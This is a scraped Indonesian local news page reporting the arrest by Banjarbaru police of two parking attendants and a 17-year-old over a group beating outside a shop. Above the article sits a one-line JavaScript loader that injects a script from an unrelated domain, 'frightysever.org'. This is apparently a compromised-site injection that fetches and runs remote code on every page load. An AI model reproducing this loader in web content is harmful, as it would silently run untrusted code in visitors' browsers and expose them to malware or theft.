(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: kriminal banjarbaru

Keroyok Korban di Depan Toko, 2 Jukir dan 1 Remaja Diamankan Polres Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Polres Banjarbaru melalui Satreskrim unit Resmob mengamankan tersangka aksi pengeroyokan yang terjadi di wilayah Banjarbaru. Sedikitnya 3 orang diamankan atas kasus ini.

Peristiwa pengeroyokan ini sebenarnya telah terjadi sejak Juli lalu, di depan sebuah tokoh yang berlokasi di Jalan Panglima Batur, Kelurahan Mentaos, Kecamatan Banjarbaru Utara, Banjarbaru.

Aksi pengeroyokan tersebut membuat seorang korban mengalami luka sobek di bagian kepala sebelah kiri dan kanan serta memar di bagian badan dan siku tangan sebelah kiri.

“Kasus ini sudah di laporkan ke kami dan petugas di lapangan melakukan penyelidikan. Baru-baru ini kami berhasil mengamankan para pelaku yang jumlahnya ada tiga orang,” kata Kasubbag Humas Polres Banjarbaru, Iptu Tajudin Noor.

Ketiga pelaku tersebut, dua diantaranya ialah juru parkir yakmi WA (30) warga Kabupaten Banjar dan GI (28) warga Kota Banjarbaru. Lalu, satu pelaku lainnya ialah seorang remaja berinsial HR (17), yang sehari-harinya berkeja sebagai buruh bangunan.

Iptu Tajudin mengatakan bahwa dari pengakuan ketiga pelaku, aksi pengeroyokan kala itu ditenggarai atas kekesalan mereka terhadap korban. Pasalnya, korban kerap kali menantang mereka beradu fisik.

“Menurut keterangan yang kita dapatkan, mereka melakukan pengeroyokan terhadap korban lantaran kesal karena sering diajak berkelahi oleh korban,” jelasnya.

Kendati demikian, atas aksi pengeroyokan tersebut, ketiga pelaku tetap harus menjalani proses hukum lebih lanjut dan diancam dengan Pasal 170 KUHP dengan ancaman hukuman paling lama 5 tahun kurungan penjara. Pengungkapan kasus pengroyokan merupakan perwujudan program Kapolda Kalsel Irjen Pol Dr Nico Afinta yang memerintahkan semua Polres jajaran Polda Kalsel menjaga Harkamtibmas di wilayah hukum masing-masing. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Cell

Al Ghifari

Recent Posts

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

6 jam ago

Ikmaban Salurkan Bantuan Banjir di Desa Pejambuan

KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More

13 jam ago

Pemko Banjarmasin Janjikan Normalisasi Aliran Sungai Gampa

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More

15 jam ago

Gubernur Muhidin Instruksikan Semua SKPD Kirim Bantuan Korban Banjir

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More

16 jam ago

Banjir Rob di Tanjung Pagar 45 KK Terdampak

KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More

16 jam ago

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

1 hari ago

This website uses cookies.